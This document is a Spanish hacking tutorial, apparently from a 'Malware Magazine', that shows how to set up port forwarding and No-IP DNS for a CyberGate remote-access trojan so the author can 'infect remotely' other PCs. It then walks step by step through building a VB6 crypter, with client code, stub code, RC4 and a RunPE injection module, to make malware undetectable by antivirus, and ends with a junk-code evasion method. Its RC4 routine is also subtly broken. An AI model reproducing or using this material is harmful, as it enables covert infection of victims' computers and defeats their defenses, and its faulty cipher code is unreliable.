TP-LIN	K	150M Wireless Lite N Router Model No. TL-WR740N
Status Quick Setup QSS Network Wireless DHCP Forwarding	Virtual Servers ID Service Port IP Address Protocol Status Modify 1 80 192.168.0.108 ALL Enabled Modify Delete	Virtual Servers Help Virtual servers can be used for setting up public services i your LAN. A virtual server is defined as a service port, and requests from Internet to this service port will be redirected the computer specified by the server IP. Any PC that was usi- for a virtual server must have a static or reserved IP addres: because its IP address may change when using the DHC function.
- Virtual Servers - Port Triggering - DMZ - UPnP Security Parental Control Access Control Advanced Routing	Add New Enable All Disable All Delete All Previous Next	 Service Port - The numbers of External Ports. You c: enter a service port or a range of service ports (it format is XXX - YYX, XXX is Start port, YYY is End port). IP Address - The IP address of the PC running ti service application. Protocol - The protocol used for this application, eith TCP, UOP, or All (all protocols supported by the Route status - The status of this entry, 'Enabled' means ti virtual service netry is enabled. Common Service Port - Some common servic already exist in the pull-down list. Modify - To modify or delete an existing entry.
Bandwidth Control IP & MAC Binding Dynamic DNS System Tools		To setup a virtual server entry: 1. Click the Add New button. 2. Select the service you want to use from the Commi- Service Port list. If the Common Service Port mei- does not list the service that you want to use, enter the number of the service port or service port range in the Service Dert back and the service that servi

Como podemos ver, ya tenemos el puerto abierto.

Configuración del NO-IP

El siguiente paso, es configurar la DNS (NO-IP). Esto es necesario porque cada vez que nos conectamos a internet, nuestro proveedor nos asigna una IP. Si creamos un servidor de un troyano para una IP específica, perderemos todos los remotos la próxima vez que iniciemos sesión, y esto es porque nuestro proveedor de internet nos dará una nueva IP diferente a la que teníamos en el troyano.

Para crear un DNS en NO-IP, es necesario darnos de alta en su sitio web http://noip.com



Clickeamos Sign Up y nos registramos. Luego de activar la cuenta, veremos un panel similar a este:



Vamos a **Add a Host** y únicamente escribiremos un hostname y le pondremos un dominio. En la imagen se puede ver seleccionado **no-ip.biz**

Una vez hecho esto, damos click en create

	Fill out the following fields to configure your host. After you are done click 'Create Host' to add your host.					
Add Host						
Manage Hosts	Own a domain name Use your own domain n	Own a domain name? Use your own domain name with our DNS system. Add or Register your domain name now or read more for pricing and				
Manage Groups	features.					
Download Client		-4:				
Upgrade to Enhanced	Hostname Inform	lation				
Need Help?	Hostname:		no-ip.biz	•	0	
Support Center	Host Type:	◉ DNS Host (A) ◎ DNS Host (Round Robin)	O DNS Alias (CNAME)		0	
Troubleshooting Guide		◎ Port 80 Redirect ◎ Web Redirect ◎ AAAA	(IPv6)			
Dynamic Update Client	IP Address:				8	
Support Ticket	Assign to Group:	- No Group -	Configure Groups		8	
Contact Us	Enable Wildcard:	Wildcards are a Plus / Enhanced feature. Upgra	de Now!		8	

Y nos mostrará nuestra DNS con nuestra IP actual

Hosts / Redirects DNS Hosting	Domain Registration	Mail	SSL Certificates	Monitoring	Backup DNS	🛱 Renew / Activate	
Hosts/Redirects	Manage Hos	sts					
Add Host	Rost	ci	reated. Undate will be	applied within 1 r	ninute.		
> Manage Hosts	N Host	CI	outen opunte win be		initiate.		
Manage Groups	Current Hosts: 1		Need More Host	ts? Enhance \	Your Account!	Enhance Your Account	
Download Client	Host		IP/IIRI		Action		
Upgrade to Enhanced	🙀 Hosts By Domai	n					
Need Help?	no-ip.biz						
Support Center					Modify	X <u>Remove</u>	
Troubleshooting Guide						Add A Host	
Dynamic Update Client							

Una vez que ya tenemos nuestra DNS creada, es necesario descargarnos el cliente de NO-IP que se llama DUC desde su sección de descargas: http://noip.com/download

no i p	Dynamic DNS	Managed DNS	Domains	Services	Why Us?	Support
Dynamic DNS Update Client (DUC) for Winc Keep your current IP address in sync with your No-IP host or domain with our Dynamic Upda	OWS te Client (DUC).					.
Download Now						
Our dynamic DNS update client continually checks for IP address changes in the background automatically updates the DNS at No-IP whenever it changes.	and		Dov	vnload N 235kb v4.	1 1	

Lo descargamos y lo instalamos como a cualquier programa normal. Al finalizar, veremos la siguiente ventana:



Ingresamos con nuestro correo y contraseña de registro y podremos ver el panel del DUC

💋 DUC v4.1.0	1×	
File Edit Tools	Help	
	Status]
	Client ID: Account:	Edit
	Updating: 0 Groups & 0 hosts	C Edit Hosts
	IP: Next Check: 4m 6s	Refresh Now
21:26: Remote IP Found	:2	0 Notices 🔻
		100 C

Clickeamos el botón Edit Hosts y clickearemos el checkbox de nuestro host, acto seguido daremos click en Save.

Edit Groups/Hosts 🛛 🛛 🛛 🔊
Please select the hosts or groups to be associated with this dient. You can <u>click here</u> to manage your hosts and groups within your account on the NoIP.com website.
Manage Existing Hosts Create Hosts
no-ip.biz
Show only selected hosts
Require a password to modify hosts
Save Cancel

Y ahora podremos ver como actualiza nuestro cliente y nos mostrará las tildes en verde

🤣 DUC v4.1.0		
File Edit Tools	Help	
	Status	
	Client ID: Account: ;	Edit
	Vpdating: 0 Groups & 1 hosts	Edit Hosts
	Vext Check: 4m 35s	Refresh Now
21:27: Updated 1 items	successfully.	0 Notices 🔻

Una vez que hemos completado los pasos precedentes, ya podemos crear un nuevo server con nuestra DNS. Para verificar si todo está bien, podemos pasarle a algún amigo nuestro FUERA de nuestra red para que le haga ping a nuestra DNS y asegurarnos de que devuelva nuestra IP. Si esto está bien, quiere decir que hemos dejado bien configurada nuestra DNS.

Users Connection Installation A Message Keylogger Anti-Debug 7 Create server DNS Port no-ip.biz 80 Image: Connection No-ip.biz Bottom No-ip.biz No-ip.biz Bottom No-ip.biz State Perter Image: Connection No-ip.biz Bottom No-ip.biz No-ip.biz Bottom No-ip.biz State Password Image: Connection No-ip.biz Image: Connection No-ip.biz State Password Show password	Create server											×
DNS Port no-ip.biz 80 X Delete Password 123456 V Show password	A Users		Connec	ction 📕	Installati	on 🛕	Message	Reylogger	Q Anti-De	bug 🗲	Create serve	r
	DNS	no-ip.	biz	Port 80			Add	Identification Password	ANTRAX 123456 V Show pa	ssword		

Cuando damos click en Add, debemos poner algo como lo siguiente:

nuestradns.no-ip.biz:80

El resto de los pasos son iguales hasta que creamos el server. Una vez hecho esto, podremos infectar remotamente a otras PCs

CyberGate v1.07.5		0.000.000						
💻 Control Center								
Location	Identification	WAN / LAN	Computer / User	CAM	Operating System	CPU	RAM	Antivirus
Spain Spain Spain	ANTRAX_F07C1148 ANTRAX_F07C1148 ANTRAX_F07C1146	Managers Information Remote Tools Net Tools Extras Server Tools Files	 File manager Windows list Processes list Services list Device list Registry editor Programs assist Startup manager 	Yes Yes Yes	Windows 7 Ultimate (Build: 7 Windows 7 Ultimate (Build: 7 Windows 7 Ultimate (Build: 7	Intel(R) Core(TM Intel(R) Core(TM Intel(R) Core(TM	2,98 GB 2,98 GB 2,98 GB	Not Found Not Found Not Found
Search:		Find					C 🛐 C	onnection Log
Group Panel					Client Statistics PC - User: DRONE - OS: Windows 7 Utimate (Build: 7600 Client Start: lun, oct 20, 2014 09:2 Listening on ports: (80) Connections limit: 200 Servers online: 3 Total Connections: 3 Failed Connections: 0 Status: CyberGate Initialized) 8 PM Password: *		

Y como se puede observar, los remotos conectan.

¿Qué es un Crypter?

Funcionamiento de los AntiVirus

Partes de un Crypter

Programación de un Crypter paso a paso

Crypters

¿Qué es y para qué sirve un Crypter?

Un **crypter** es una herramienta que transforma un archivo **A** en un archivo **B**, editándole al archivo **A** parte de su código. Es decir, si tengo un archivo **A** que es detectado, un crypter puede modificar parte de su estructura interna dejándolo indetectable a ciertos antivirus. Claro está, que dicho crypter debe ser indetectable.



Tipos de Crypters

Existen dos tipos de Crypters. los Runtime y los Scantime.

<u>Runtime</u>: Es cuando un binario es ejecutado y no es detectado por el antivirus.

<u>Scantime</u>: Es indetectable únicamente ante un scanneo. Pero a la hora de ejecutarlo, el antivirus lo detectará.

¿Cómo funciona un Crypter?

Los Crypters utilizan métodos de cifrados, estos cifrados son algoritmos que sirven para convertir un mensaje legible en uno ilegible.

Un ejemplo de cifrado es el clásico **ROT** o **Cifrado de César**, que consiste en desplazar una letra 3 lugares en el alfabeto. Es decir, si tenemos la palabra "UndercOde", tendríamos como resultado la cadena "XpghufOgh". Obviamente este cifrado es muy simple, pero es a modo explicativo; existen una infinidad de cifrados diferentes que se pueden utilizar para cifrar malware y de esta forma evadir a los antivirus.

¿Cómo funciona un AntiVirus?

Cada Antivirus tiene una base de datos en la cual almacena **firmas**. Dichas firmas, son fragmentos de códigos que identifican a cada malware. De esta forma, cada software que contenga esta firma en su código, el AntiVirus lo bloqueará y lo tomará como amenaza.

A diario aparecen nuevos malwares o malwares modificados que aun no se encuentran en las bases de datos de los AntiVirus, y para que los usuarios no queden completamente desprotegidos, se utilizan los **análisis heurísticos** o **detecciones de proactivas**, que básicamente examinan el comportamiento de los binarios en busca de un patrón similar al de algún malware detectado o advierte el comportamiento peligroso. Claro está que esto puede producir falsos positivos.

Partes de un Crypter

Un Crypter consta de dos partes, un Cliente y un Stub. El Cliente es la parte gráfica que permite seleccionar el malware o archivo y le aplica el cifrado, mientras que el Stub es la parte vital del Crypter, ya que este se encarga de ejecutar el algoritmo de descifrado.



Para entenderlo mejor, el siguiente gráfico muestra el resultado final de como queda un malware cifrado.



Tenemos nuestro Malware detectado, le pasamos el Crypter, y este le añade el Stub con el algoritmo de descifrado, la Key para descifrarlo y a continuación el malware cifrado, obteniendo de esta manera un binario indetectable. De esta forma cuando se ejecute, el stub lo copia en la

memoria RAM, e identifica el malware cifrado dentro del binario, luego identifica el key y comienza el proceso de descifrado; una vez finalizado lo ejecuta en memoria sin pasarlo al disco para que el AntiVirus no lo detecte.

Creando un Crypter desde cero

Una vez que ya hemos entendido como funciona un Crypter y sus partes, programaremos uno en VB6. Por razones obvias, será detectado, pero a lo largo de estas entregas, te enseñaremos diversas formas para indetectarlo.

Comenzaremos abriendo Visual Basic 6, seleccionaremos EXE estándar y clickeamos en abrir.



Veremos un **Form1**, que será nuestro formulario, el cual usaremos como cliente del Crypter. Cada uno puede adornarlo a su gusto. Yo solamente le pondré un logo y le cambiaré el nombre.

🍖 Proyecto1	l - Microsoft Visual Basic [diseño] - [Form1 (Form)]		
🖏 <u>A</u> rchivo	<u>E</u> dición <u>V</u> er <u>P</u> royecto <u>F</u> ormato <u>D</u> epuración Ejecu <u>t</u> ar <u>C</u> onsulta	D <u>i</u> agrama <u>H</u> erramientas	Co <u>m</u> plementos Ve <u>n</u> tana Ay <u>u</u> da
🛛 😼 • 🍇 •	- 🛅 🚘 🔚 🐰 🛍 🋍 🗠 억 🕨 🗉 🖷 🛱	- 😫 🛠 🔁 🔊 👘	0, 0 <u>∓</u> [☆] 6810 x 4065
×			
General	🖏 Underc0de Crypter - Malware Magazine		
N 🚂			
A abi			
ו• 🗆			
• •			
ৰচ হ			
Ö 🗆			
10 🔨			
116			

Ahora agregaremos los siguientes elementos:

TextBox: Lo usaremos para darle la ruta de nuestro malware detectado

2 CommandButtons: Uno será para el botón Examinar, que yo lo llamaré (...) y otro para el botón Encriptar

Label: Este es opcional, ya que no afecta en lo funcional y es al que se visualiza como "Archivo:"

🏠 Proyecto1 - Microsoft Visual Basic [diseño] - [Proyecto1 - Form1 (Form)]							
🖏 <u>A</u> rchivo	<u>E</u> dición <u>V</u> er <u>P</u> royecto <u>F</u> ormato <u>D</u> epuración Ejecu <u>t</u> ar <u>C</u> onsulta D <u>i</u> agrama <u>H</u> erramientas Co <u>m</u> plementos Ve <u>n</u> tana Ay <u>u</u> da						
🛃 • 👸	- Te 😂 🖬 🐰 🛍 🛍 🗠 🐃 🕨 🔛 🕒 😻 📽 名 🐕 🛠 🔁 🔊 拉 0,0 🛛 🗗 6810 x 3270						
General A abl	S Underc0de Crypter - Malware Magazine						
े २ २							
्र व म च म	Encriptar						
R ~							

Seguido a esto, debemos agregar el componente "**Microsoft Common Dialog Control 6.0 (SP3)**" el cual nos permite poder abrir el explorador de archivos al dar click en examinar (...)

Para añadirlo, es necesario dar click derecho sobre la barra de elementos, y seleccionamos la opcion "**Componentes**"



En el listado de componentes buscamos "**Microsoft Common Dialog Control 6.0 (SP3)**", lo seleccionamos y clickeamos en Aplicar y luego en Aceptar para que aparezca en nuestra barra de componentes.



Seguido a esto, lo seleccionamos y lo incorporamos al proyecto.

🚖 Proyecto1 - Microsoft Visual Basic [diseño] - [Proyecto1 - Form1 (Form)]
🛱 Archivo Edición Ver Proyecto Eormato Depuración Ejecutar Consulta Diagrama Herramientas Complementos Ventana Ayuda
😼 • 🏷 • 🛅 😅 🔚 % 🗈 🛍 🖓 🖙 ♀ ▶ = 😻 🗳 🖓 🔂 😫 👘 🖓 🛨 0,0 🛨 6810 x 3270
General A abi Viderc0de Crypter - Malware Magazine V c A abi Encriptar Encriptar Control Control Contro

Finalmente, renombraremos los componentes para que sea más fácil trabajarlos y para aplicar buenas prácticas de programación.

Al TextBox lo llamaremos txtArchivo

Al botón examinar, lo llamaremos btnExaminar

Al botón Encriptar, le pondremos btnEncriptar

y finalmente al CommonDialog, lo llamaremos CD

C. Provecto1 - Form1 (Form)		btnExaminar Con	mandButton	T
		Alfabética Por ca	tegorías	_
🖏 Underc0de Crypter - Malware Magazine 📃 🖃 🗾	k	(Nombre)	btnExaminar	
	1	Appearance	1 - 3D	
		BackColor	8H800000F&	
		Cancel	False	
		Caption		
		CausesValidation	True	Ε
		Default	False	
		DisabledPicture	(Ninguno)	
		DownPicture	(Ninguno)	
Engiptar		DragIcon	(Ninguno)	
		DragMode	0 - Manual	
		Enabled	True	
		Font	MS Sans Serif	
		Height	255	
		HelpContextID	0	_
		Index		
		Left	4920	
		MaskColor	8H00C0C0C08	T

Una vez que ya tenemos la interface terminada gráfica terminada, pasaremos al código.

Comenzaremos con el botón **examinar (...)**, le daremos doble click y pondremos el siguiente código fuente dentro de él.

```
1. With CD
2. .DialogTitle = "Seleccione un archivo"
3. .Filter = "Aplicaciones EXE|*.exe"
4. .ShowOpen
5. End With
6.
7. If Not CD.FileName = vbNullString Then
8. txtArchivo.Text = CD.FileName
9. End If
```

Este código utiliza el control **CD (CommonDialog)** para abrir un explorador de archivos y nos filtra por aplicaciones **EXE** (binarios). Una vez seleccionado uno, pondrá la ruta en nuestro **txtExaminar**

Debería quedarnos algo así:

```
🐑 Proyecto1 - Microsoft Visual Basic [diseño] - [frmCliente (Código)]
🖟 Archivo Edición Ver Proyecto Formato Depuración Ejecutar Consulta Diagrama Herramientas Complementos Ventana Ayuda
 😼 - 🏷 - 🏗 😂 🖶 🖇 暗 晶 構 🗠 🍳 , 🗉 🖷 器 構 🖄 🖓 🖓 🔒 👔 Lín 15, Col 1
  ×
          btnExaminar
 General
             Private Sub btnExaminar Click()
k 🔛
                  With CD
A 🖬
                  .DialogTitle = "Seleccione un archivo"
.Filter = "Aplicaciones EXE|*.exe"
.ShowOpen
• •
                  End With
                 If Not CD.FileName = vbNullString Then
txtArchivo.Text = CD.FileName
ৰ ম
                  End If
Ö 🗆
             End Sub
🗀 🗈
🔊 🔨
01: 00:
```

Ahora hacemos lo mismo con el botón de encriptar, colocándole el siguiente código.

```
1. Dim Stub As String, Archivo As String
2.
3. If txtArchivo.Text = vbNullString Then
4. MsgBox "Debes cargar el archivo a encriptar", vbExclamation,
  Me.Caption
5. Exit Sub
6. Else
7.
8. Open App.Path & "\Stub.exe" For Binary As #1
9. Stub = Space (LOF(1))
10.
       Get #1, , Stub
11.
       Close #1
12.
       Open txtArchivo.Text For Binary As #1
13.
14.
       Archivo = Space(LOF(1))
15.
       Get #1, , Archivo
16.
       Close #1
17.
       With CD
18.
```

```
19.
       .DialogTitle = "Seleccione una ruta..."
20.
       .Filter = "Aplicaciones EXE | *.exe"
21.
       .ShowSave
22.
       End With
23.
24.
       If Not CD.FileName = vbNullString Then
25.
26.
       Archivo = RC4(Archivo, "Underc0de")
27.
28.
       Open CD.FileName For Binary As #1
29.
       Put #1, , Stub & "##$$##" & Archivo & "##$$##"
30.
       Close #1
31.
       MsgBox "Archivo Encriptado", vbInformation, Me.Caption
32.
33.
       End If
34.
35.
       End If
```

Explicaré brevemente algunas de las líneas importantes del código.

Las primeras líneas muestran un mensaje de advertencia en caso de que se presione el botón encriptar sin antes haber cargado un archivo.

En caso de que si haya un archivo cargado, el crypter busca el Stub situado en la misma carpeta que el cliente de nuestro crypter y le añade la key que luego usará para descifrarlo y para cifrarlo usará RC4, el cual es un cifrado por flujos.

Finalmente mostrará el mensaje "Archivo Encriptado" para darnos cuenta de que todo salió bien.

El código debería quedarnos como la siguiente captura:

Proyecto1 - Microsoft Visual Basic [diseño] - [frmCliente (Código)] 🖵 Archivo Edición Ver Proyecto Eormato Depuración Ejecutar Consulta Diagrama Herramientas Complementos Ventana Ayuda 🛛 😼 - 🐮 - 🛅 🚅 🖶 🙏 🗈 💼 🛤 🗠 🗠 🕨 💷 😻 🗃 🔁 🗳 📿 🔔 Lín 53, Col 1 X btnExaminar General Private Sub btnEncriptar_Click() N 🔛 Dim Stub As String, Archivo As String A abi If txtArchivo.Text = vbNullString Then MsgBox "Debes cargar el archivo a encriptar", vbExclamation, Me.Caption Exit Sub ₽ G Else Open App.Path & "\Stub.exe" For Binary As #1 Stub = Space(LOF(1)) Get #1, , Stub Close #1 Ö 🗆 Open txtArchivo.Text For Binary As #1 🗀 🗈 Archivo = Space(LOF(1)) Get #1, , Archivo 🔊 🕓 Close #1 With CDDialogTitle = "Seleccione una ruta..." .Filter = "Aplicaciones EXE | *.exe" .ShowSave End With If Not CD.FileName = vbNullString Then Archivo = RC4 (Archivo, "UndercOde") Open CD.FileName For Binary As #1 Put #1, , Stub & "##\$\$##" & Archivo & "##\$\$##" Close #1 MsgBox "Archivo Encriptado", vbInformation, Me.Caption End If End If End Sub Private Sub btnExaminar_Click() With CD .DialogTitle = "Seleccione un archivo" .Filter = "Aplicaciones EXE|*.exe" .ShowOpen End With If Not CD.FileName = vbNullString Then txtArchivo.Text = CD.FileName End If End Sub

Ahora agregaremos el cifrado RC4 al código, para que nuestro crypter sepa como cifrar los binarios que le pasemos. A este código lo agregaremos a continuación del anterior.

```
1. Public Function RC4 (ByVal Data As String, ByVal Password As
  String) As String
2. On Error Resume Next
3. Dim F(0 To 255) As Integer, X, Y As Long, Key() As Byte
4. Key() = StrConv(Password, vbFromUnicode)
5. For X = 0 To 255
6.
       Y = (Y + F(X) + Key(X Mod Len(Password))) Mod 256
7.
       F(X) = X
8. Next X
9. Key() = StrConv(Data, vbFromUnicode)
10.
       For X = 0 To Len(Data)
11.
            Y = (Y + F(Y) + 1) \mod 256
12.
            Key(X) = Key(X) \text{ Xor } F(Temp + F((Y + F(Y)) \text{ Mod } 254))
13.
       Next X
14.
       RC4 = StrConv(Key, vbUnicode)
```

15. End Function

En este código no hace falta explicar nada ya que se trata del cifrado RC4, del cual se puede buscar información en internet en caso de querer saber como funciona. Lo único que nos interesa de acá es que al cifrado lo guarda en la variable **RC4**, que es la que usamos en el código del botón encriptar para cifrar el binario final.

Una vez hecho esto, guardaremos el proyecto y generaremos el EXE de nuestro cliente



Con esto hemos finalizado la programación de nuestro Cliente.

liente SRC	Stub SRC	Cliente.exe	
[5]. Underc0de	Crypter - Malware	e Magazine	
Uľ	JDł	ERC	DE
Archi	vo:		
		Encriptar	

Por supuesto que si lo queremos probar, no funcionará debido a que aún no tenemos un Stub, y precisamente es lo que haremos ahora.

Para ello abrimos Visual Basic nuevamente y creamos un proyecto nuevo al igual que como hicimos con el cliente del Crypter.

El Stub está compuesto por Módulos, por lo que no necesitaremos el formulario. Es por ello que lo eliminaremos del proyecto



Ahora agregaremos un Módulo. Damos click derecho en el panel del proyecto y seleccionamos **Agregar > Módulo**.

	 Ver código Ver objeto Propiedades de Proyecto1
街, Eormulario	Agr <u>e</u> gar 🕨
🖏 F <u>o</u> rmulario MDI	Guardar
Módulo	Guardar como
Módulo de <u>c</u> lase	🖨 Imprimir
🚡 Co <u>n</u> trol de usuario	✓ <u>A</u> coplable
Página de propiedad	les <u>O</u> cultar
Documento de usua	rio
WebClass	
Data Report	:dades - Proyecto1 🗶
DHTML Page	•cto1 Proyecto 💽
Data Environment	ética Por categorías
Agregar arc <u>n</u> ivo	Proyecto1



Y dentro de él, pondremos el siguiente código:

```
1. Sub Main()
2. Dim YO As String, Datos As String, sData() As String
3.
4. YO = App.Path & "\" & App.EXEName & ".exe"
5.
6. Open YO For Binary As #1
7. Datos = Space(LOF(1))
8. Get #1, , Datos
9. Close #1
10.
11.
       sData() = Split(Datos, "##$$##")
12.
13.
       sData(1) = RC4(sData(1), "Underc0de")
14.
15.
       Injec YO, StrConv(sData(1), vbFromUnicode), vbNullString
16.
17.
       End Sub
```

Esto sirve para que el Stub sepa donde modificar al binario. Seguido a este código, pondremos el mismo código del RC4 que utilizamos en el cliente.

```
Proyecto1 - Microsoft Visual Basic [diseño] - [Stub (Código)]
🖏 Archivo Edición 🗵 Proyecto Eormato Depuración Ejecutar Consulta Diagrama Herramientas Complementos Ventana Ayuda
😼 • 🐂 • 🗉 😂 🔚 🐰 🛍 🛍 🛤 🗠 😐 🕨 💷 👪 🗳 4 😵 🖓 🔁 🎝 Lín 35, Col 1
     ×
         (General)
General
            Sub Main()
N 🔛
            Dim YO As String, Datos As String, sData() As String
A ab
            YO = App.Path & "\" & App.EXEName & ".exe"
Open YO For Binary As #1
            Datos = Space(LOF(1))
•
            Get #1, , Datos
Close #1
এম স
            sData() = Split(Datos, "##$$##")
Ö 🗆
            sData(1) = RC4(sData(1), "Underc0de")
🗀 🗈
            Injec YO, StrConv(sData(1), vbFromUnicode), vbNullString
🔊 🔨
            End Sub
Public Function RC4 (BvVal Data As String, BvVal Password As String) As String
016
            On Error Resume Next
            Dim F(O To 255) As Integer, X, Y As Long, Key() As Byte
            Key() = StrConv(Password, vbFromUnicode)
            For X = 0 To 255
                Y = (Y + F(X) + Key(X Mod Len(Password))) Mod 256
                F(X) = X
            Next X
            Key() = StrConv(Data, vbFromUnicode)
            For X = 0 To Len(Data)
                Y = (Y + F(Y) + 1) \mod 256
                Key(X) = Key(X) Xor F(Temp + F((Y + F(Y)) Mod 254))
            Next X
            RC4 = StrConv(Key, vbUnicode)
            End Function
```

Ahora crearemos otro módulo más y colocaremos ahí el RunPE, es de cierta forma es el encargado de cifrar nuestro malware.

Al código de este RunPE, lo sacaremos de la tool **Unique RunPE Maker**, que es un generador de RunPE único y que nos sirve para que no se vuelva detectado tan rápidamente el malware.

Unique RunPE Maker v1.0 by Skyweb07	
1111/11/NNONCONTRACTOR 101/2011/101	
	State -
	1 all
and the second	A Castler
Miniano Rum Por Makon o TO	and the second
energia connero stenna eno	
Main	
Option Explicit	
Private Const CONTEXT_FULL As Long = \$810007	
Private Const MAX PATH As Integer = 260	
Private Const CREATE SUSPENDED As Long = 184	
Private Const MEM RESERVE As Long = sH2000	
Private Const PAGE EXECUTE READWRITE As Long = \$840	
Private Declare Function CreateProcessA Lib "kernel32" (H	
Private Declare Function WriteProcessMemory Lib "kernel3;	
Private Declare function OutputDebugstring Lib "Kernel32"	
Public Declare Sub RtlMoveMemory Lib "kernel32" (Dest As	Any, Src As
Private Declare Function CallWindowProck Lib "user32" (B	yVal addr As
Private Declare Function GetProcAddress Lib "kernel32" ()	
Private Declare Function LoadLibraryA Lib "kernel32" (By	Val lpLibFile 👻
4 <u> </u>	
Generate Unique RunPE Copy Clear Restore Original RunPE	About Exit
	1.0250 03 16 05
IFYI BI ZODOKNENC IEBDYPHEDYMYK ISPGCHI Generate Function	Randomized
JFYLBLZQDQKNFNCJEBDXPHEDYMYKJSPGCHf Generate CallAPI	Randomized NEFTCWT

Lo que debemos hacer con esta tool es modificar el **Key Size**, en este caso le puse 50. Luego clickeamos en **Generate** y finalmente en **Generate Unique RunPE**.

Copiamos todo el RunPE y lo colocamos en nuestro módulo.

🍖 Proyecto	1 - N	Ricrosoft Visual Basic [diseh0] - [Run/PE [Código]]	_ 0 🔀
Archivo	<u>E</u> di	ción Yer Broyecto Formato Depuración Ejecutar Consulta Diagrama Herramientas Complementos Vegtana Ayuda	_ @ ×
1 - 🔁	• 18	『 🗳 📓 ※ 階 総 桷 ビ ♀ → Ⅲ 🔳 🦓 留 名 🦉 🛠 🗟 🏚 🖆 0.0 🛛 岩 4600 x3600	
×	(G	ieneral) - MEFTCWT -	Proyecto - Proyecto1
General ▲ (20) ■ (2		characteristics &s Long End Type Public Function NETRONT (SyMal VPHE As String, ByVal VVQFO As String, FaramArray IRCVORQ()) As Long Dim XXYEM & Acong, DIMF (4EECOAd-1) As Byte, DIK As Long, AJUPPCK As Long AJUPPCK - GetFoocAddress(LoadLibraryA(VPHE), VVQFO) If AJJPFCK - G Then East Function NXTEN - YarFrr(DIMF(0)) Rt:NorWennory ByVal NXTEN, 645059, 614: NXYEM - NXYEM - 4 Rt:NorWennory ByVal NXTEN, 645059, 612: NXYEM - 10XYEM - 4 Rt:NorWennory ByVal NXTEN, 645059, 612: NXYEM - 10XYEM - 4 Rt:NorWennory ByVal NXTEN, 6450, 641: NXYEM - 10XYEM - 1 Rt:NorWennory ByVal NXTEN, Charge Latin HXYEM	C C C C C C C C C C C C C C C C C C C
		Next RiboveMenory ByVal NOTEN, AUES, 4E1: NOTEN = NOTEN + 1 RiboveMenory ByVal NOTEN, AUES, 4E1: NOTEN = NOTEN + 1 RiboveMenory ByVal NOTEN, AUES, 4E1: NOTEN = NOTEN + 1 RiboveMenory ByVal NOTEN, AUES, 4E1: NOTEN = NOTEN + 1 End Function DSILI(ByVal STHFDC As String, ByVal GIFFW As String) As String Dim ACC As Long For ADC = 1 To Len(SPNFDC) BSILI = ADILI 4 Chri(Auc(Nat(GIFFW, IIf(ADC Mod Len(GIFFW) ↔ 0, ADC Mod Len(GIFFW)), Len(GIFFW)), 1)) Xor Asc(Mid(SPNFDC, ADC, 1))) BSILI = ADILI 4 Chri(Auc(Nat(GIFFW, IIf(ADC Mod Len(GIFFW) ↔ 0, ADC Mod Len(GIFFW)), Len(GIFFW)), 1)) Xor Asc(Mid(SPNFDC, ADC, 1))) BSILI = ADILI 4 Chri(Auc(Nat(GIFFW, IIf(ADC Mod Len(GIFFW) ↔ 0, ADC Mod Len(GIFFW)), Len(GIFFW)), 1)) Xor Asc(Mid(SPNFDC, ADC, 1))) BSILI = ADILI 4 Chri(Auc(Nat(GIFFW, IIf(ADC Mod Len(GIFFW) ↔ 0, ADC Mod Len(GIFFW)), Len(GIFFW)), 1)) Xor Asc(Mid(SPNFDC, ADC, 1))) BSILI = ADILI 4 Chri(Auc(Nat(GIFFW, IIf(ADC Mod Len(GIFFW) ↔ 0, ADC Mod Len(GIFFW)), Len(GIFFW)), 1)) Xor Asc(Mid(SPNFDC, ADC, 1))) BSILI = ADILI 4 Chri(Auc(Nat(GIFFW, IIf(ADC Mod Len(GIFFW)) ↔ 0, ADC Mod Len(GIFFW)), Len(GIFFW)), 1)) Xor Asc(Mid(SPNFDC, ADC, 1))) BSILI = ADILI 4 Chri(Auc(Nat(GIFFW, IIf(ADC Mod Len(GIFFW)) ↔ 0, ADC Mod Len(GIFFW)), Len(GIFFW)), 1)) Xor Asc(Mid(SPNFDC, ADC, 1))) BSILI = ADILI ADILI 4 Chri(Auc(Nat(GIFFW, IIf(ADC Mod Len(GIFFW))) ↔ 0, ADC Mod Len(GIFFW)), 1)) Xor Asc(Mid(SPNFDC, ADC, 1))) BSILI = ADILI ADILI 4 Chri(Auc(Nat(GIFFW, IIIf(ADC Mod Len(GIFFW))) & ADILI ADILI 4 Chri(Auc(Nat(GIFFW))) & ADILI 4 Chri(Auc(Mat(GIFFW))) & ADILI 4 CHri(Auc(Mat(GIFFW	Propiedades - FunPE FunPE Voule Affibetra Per categories Funce RurPE
		CreateFrocessA OVIU, ** & KEENU, 0, 0, False, CREATE SUSFENCED, 0, 0, HUBCPW, LBOLMI NETYOMT DBLIL(che:(36) & Che:(50) & Che:(45) & Che:(46), **JFIELE2QQ2MINFCCEEBUCHEDIMINFUSFECHETITEYYSRMWOTSME*), DBLIL(che:(46) & Che:(50) & Che:(42) & Che:(46) & Che:(45) & Che:	
		For ZFU = 0 To BBHOB.FileHeader.NumberOfSections - 1	

Ahora sacamos el **Injec** que generó el **Unique RunPe Maker**, en mi caso **GRJAQGJ**, y lo reemplazamos por el Injec del modulo Stub.



Una vez hecho esto, generamos el EXE y le ponemos de nombre Stub.exe, guardándolo en el mismo directorio que el Cliente.

			\Box	
Cliente SRC	Stub SRC	Cliente.exe	Stub.exe	Underc0de Anotador.exe
	c	3 Underc0de Crypter - Mi	alware Magazine) ERC	I ₽ DE
		Archivo:		
			Encriptar	

Ahora ya podemos ejecutar el cliente y probar encriptar algún binario. En este caso lo voy a probar con el anotador de UndercOde, y si una vez encriptado el anotador queda funcional, quiere decir que hemos hecho todo bien y nuestro Crypter no rompe los binarios.

Cliente SRC	Stub SRC	Anotador Encriptado.exe	Cliente.exe	Stub.exe	Underc0de Anotador.exe	
		C Underc0de Crypter - M UNNE Archivo: [C:\Use	lalware Magazine DERC rs\ANTRAX\Desktop\Crypte Encriptar	erWinderc	src0de Crypter - Malware	Magazine 💌 Io Aceptar

En este caso guardé al archivo encriptado con el nombre **Anotador Encriptado.exe**, solo resta probar si funciona ejecutando el binario generado.

	nte.exe	Stub.exe	Underc0de Anotador.exe
1			

Y como se puede ver, el anotador se abre sin problemas!



Indetectabilidad

9

Método Onírico

El método Onírico consiste en hacer un Stub con código basura, es decir, utilizando cualquier código fuente hecho en el mismo lenguaje que nuestro crypter. Además, agregarle al Sub main una encriptación y un RunPE. La finalidad de este método es cambiar algunas firmas en nuestro Stub para evadir ciertas firmas detectadas por los AntiVirus.

Cabe aclarar, que este método se puede realizar en cualquier lenguaje, pero en esta oportunidad usaremos VB6.

Comenzaremos abriendo nuestro código fuente; en este caso, va a ser un juego que hizo 79137913 en Underc0de.



